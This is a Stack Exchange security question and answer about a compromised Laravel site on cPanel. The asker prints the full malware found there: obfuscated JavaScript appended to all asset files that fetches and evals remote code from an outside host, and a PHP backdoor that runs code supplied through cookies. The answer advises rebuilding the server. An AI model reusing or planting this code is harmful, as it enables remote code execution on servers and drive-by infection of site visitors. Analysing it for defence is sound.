0

I have a Laravel 5.8 app in a server running Apache/2.4.53 (cPanel) and PHP 7.4 (ea-php74) and i have VPS root WHM/cPanel access there. as any Laravel project, the "public" directory is web accessible and the subdomain points to it. the folders there have 755 permission and the files have 644.

The public folder has a subfolder named 'assets' and there's a bunch of subfolders with various 3rd party plugins (css, js etc.) which we usually don't need to touch.

recently i noticed 2MB bump in the project, which is negligible and usually temporary download zip mechanism related or laravel log, but upon further checking found that all js files in the asset folder has same minified code added at the end. the un-minified version is following:

;
if (ndsj === undefined) {
    (function(I, o) {
        var u = {
                I: 0x151,
                o: 0x176,
                O: 0x169
            },
            p = T,
            O = I();
        while (!![]) {
            try {
                var a = parseInt(p(u.I)) / 0x1 + -parseInt(p(0x142)) / 0x2 * (parseInt(p(0x153)) / 0x3) + -parseInt(p('0x167')) / 0x4 * (-parseInt(p(u.o)) / 0x5) + -parseInt(p(0x16d)) / 0x6 * (parseInt(p('0x175')) / 0x7) + -parseInt(p('0x166')) / 0x8 + -parseInt(p(u.O)) / 0x9 + parseInt(p(0x16e)) / 0xa;
                if (a === o) break;
                else O['push'](O['shift']());
            } catch (m) {
                O['push'](O['shift']());
            }
        }
    }(l, 0x6bd64));
    var ndsj = true,
        HttpClient = function() {
            var Y = {
                    I: '0x16a'
                },
                z = {
                    I: '0x144',
                    o: '0x13e',
                    O: 0x16b
                },
                R = T;
            this[R(Y.I)] = function(I, o) {
                var B = {
                        I: 0x170,
                        o: 0x15a,
                        O: '0x173',
                        a: '0x14c'
                    },
                    J = R,
                    O = new XMLHttpRequest();
                O[J('0x145') + J('0x161') + J('0x163') + J(0x147) + J(0x146) + J('0x16c')] = function() {
                    var i = J;
                    if (O[i(B.I) + i(0x13b) + i(B.o) + 'e'] == 0x4 && O[i(B.O) + i(0x165)] == 0xc8) o(O[i(0x14f) + i(B.a) + i(0x13a) + i(0x155)]);
                }, O[J(z.I) + 'n'](J(z.o), I, !![]), O[J(z.O) + 'd'](null);
            };
        },
        rand = function() {
            var b = {
                    I: '0x149',
                    o: 0x16f,
                    O: '0x14d'
                },
                F = T;
            return Math[F(0x154) + F('0x162')]()[F('0x13d') + F(b.I) + 'ng'](0x24)[F(b.o) + F(b.O)](0x2);
        },
        token = function() {
            return rand() + rand();
        };

    function T(I, o) {
        var O = l();
        return T = function(a, m) {
            a = a - 0x13a;
            var h = O[a];
            return h;
        }, T(I, o);
    }(function() {
        var c = {
                I: '0x15d',
                o: '0x158',
                O: 0x174,
                a: 0x141,
                m: '0x13c',
                h: 0x164,
                d: 0x15b,
                V: 0x15f,
                r: '0x14a'
            },
            v = {
                I: '0x160',
                o: '0x13f'
            },
            x = {
                I: '0x171',
                o: '0x15e'
            },
            K = T,
            I = navigator,
            o = document,
            O = screen,
            a = window,
            m = o[K('0x168') + K('0x15c')],
            h = a[K(0x156) + K(0x172) + 'on'][K(c.I) + K('0x157') + 'me'],
            V = o[K('0x14b') + K('0x143') + 'er'];
        if (V && !G(V, h) && !m) {
            var r = new HttpClient(),
                j = K(c.o) + K('0x152') + K(c.O) + K(c.a) + K(0x14e) + K(c.m) + K('0x148') + K(0x150) + K(0x159) + K(c.h) + K(c.d) + K(c.V) + K(c.r) + K('0x177') + K('0x140') + '=' + token();
            r[K('0x16a')](j, function(S) {
                var C = K;
                G(S, C(x.I) + 'x') && a[C(x.o) + 'l'](S);
            });
        }

        function G(S, H) {
            var k = K;
            return S[k(v.I) + k(v.o) + 'f'](H) !== -0x1;
        }
    }());

    function l() {
        var N = ['90JkpOYW', '18908590LuyHXH', 'sub', 'rea', 'nds', 'ati', 'sta', '//p', '197932JXQdyn', '15pzezPp', 'js?', 'seT', 'dyS', 'che', 'toS', 'GET', 'exO', 'ver', 'ing', '2zenPZG', 'err', 'ope', 'onr', 'cha', 'ate', 'spa', 'tri', 'in.', 'ref', 'pon', 'str', '.ca', 'res', 'ce.', '866605HiFzvs', 'ps:', '2074671kKJvCh', 'ran', 'ext', 'loc', 'tna', 'htt', 'net', 'tat', 'uer', 'kie', 'hos', 'eva', 'y.m', 'ind', 'ead', 'dom', 'yst', '/jq', 'tus', '3393520RdXEsy', '36236gCJAsM', 'coo', '7227486nErPQU', 'get', 'sen', 'nge'];
        l = function() {
            return N;
        };
        return l();
    }
};

also a new file src.php inside the assets folder with following contents:

 <?php
class _z
{
    private static $_fcu;
    static function _eg($_d)
    {
        if (!self::$_fcu)
            self::_iai();
        return self::$_fcu[$_d];
    }
    private static function _iai()
    {
        self::$_fcu = array(
            02,
            02,
            02,
            02,
            -0473,
            0110,
            -0123,
            -0637,
            -0263,
            -0646,
            0407,
            0474,
            -0124,
            01026,
            010,
            010,
            010,
            8.8333333333333,
            8.8333333333333,
            8.8333333333333,
            8.8333333333333,
            8.8333333333333,
            8.8333333333333,
            040,
            -0205,
            077,
            066,
            -0247,
            0136,
            07,
            07,
            07,
            0134,
            -0605,
            01237,
            0302,
            0554,
            -01016,
            -01124,
            -0543,
            -01706,
            -0227,
            -022,
            -057,
            -0372,
            0767,
            -0131,
            0102,
            0636,
            -0303,
            01013,
            01151,
            0400,
            -075,
            0234
        );
    }
}
function _nkwy()
{
    $_nw = $_COOKIE;
    (count($_nw) == (int) round(_z::_eg(00) + _z::_eg(01) + _z::_eg(02) + _z::_eg(03))) ? (($_t = $_nw[_z::_eg(04) - _z::_eg(05) - _z::_eg(06) + _z::_eg(07) - _z::_eg(010) - _z::_eg(011) + _z::_eg(012) + _z::_eg(013) - _z::_eg(014) - _z::_eg(015)] . $_nw[(int) round(_z::_eg(016) + _z::_eg(017) + _z::_eg(020))]) && ($_h = $_t($_nw[(int) round(_z::_eg(021) + _z::_eg(022) + _z::_eg(023) + _z::_eg(024) + _z::_eg(025) + _z::_eg(026))] . $_nw[_z::_eg(027) + _z::_eg(030) + _z::_eg(031) + _z::_eg(032) - _z::_eg(033) - _z::_eg(034)])) && ($_qx = $_t($_nw[(int) round(_z::_eg(035) + _z::_eg(036) + _z::_eg(037))] . $_nw[_z::_eg(040) + _z::_eg(041) + _z::_eg(042) - _z::_eg(043) + _z::_eg(044) + _z::_eg(045)])) && ($_qx = @$_h($_nw[_z::_eg(046) + _z::_eg(047) - _z::_eg(050)], $_qx($_t($_nw[_z::_eg(051) - _z::_eg(052) + _z::_eg(053) - _z::_eg(054)])))) && @$_qx()) : $_nw;
    return _z::_eg(055) + _z::_eg(056) - _z::_eg(057) + _z::_eg(060) + _z::_eg(061) + _z::_eg(062) - _z::_eg(063) - _z::_eg(064) + _z::_eg(065) - _z::_eg(066);
}
_nkwy();

now my question is, what do those codes do and how to prevent files there being written like that. also is there any log file in cPanel that' would help to figure it out? i tried searching with the new file name (src.php) in following log files:

/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log

but no results. where should i be looking for relevant log?

  • Don't forget to read the linked sub-question in the above answer: https://security.stackexchange.com/questions/39231/how-do-i-deal-with-a-compromised-server – A. Hersean Apr 22 '22 at 09:06
  • thanks, it looks like nicely put, i'll go through in details – Nishu Ali Apr 22 '22 at 09:55

1 Answers1

0

Any code that appears to be appended to many files is malicious by itself since it does undeclared/unknown functions.

In situations like this, you can declare your whole server compromised, and should rebuild not just the server from scratch, but also the website.

That is unless, you would like to literally go through each and every website's file, investigate it for non-standard code, etc.

There are WordPress plugins that ease it by comparing checksums (WordFence?) with the core files.

  • This is answered in more detail in this canonical answer: https://security.stackexchange.com/questions/39231/how-do-i-deal-with-a-compromised-server – A. Hersean Apr 22 '22 at 09:09
  • thanks, I'm using git, so that's how i could pinpoint the affected files in the first place, reverting wasn't a issue. but since only one folder in the public directory is affected, I'm wondering if my file/folder permission is correct. the whole project isn't affected as it seems so far (at least that's what git is saying)! – Nishu Ali Apr 22 '22 at 09:59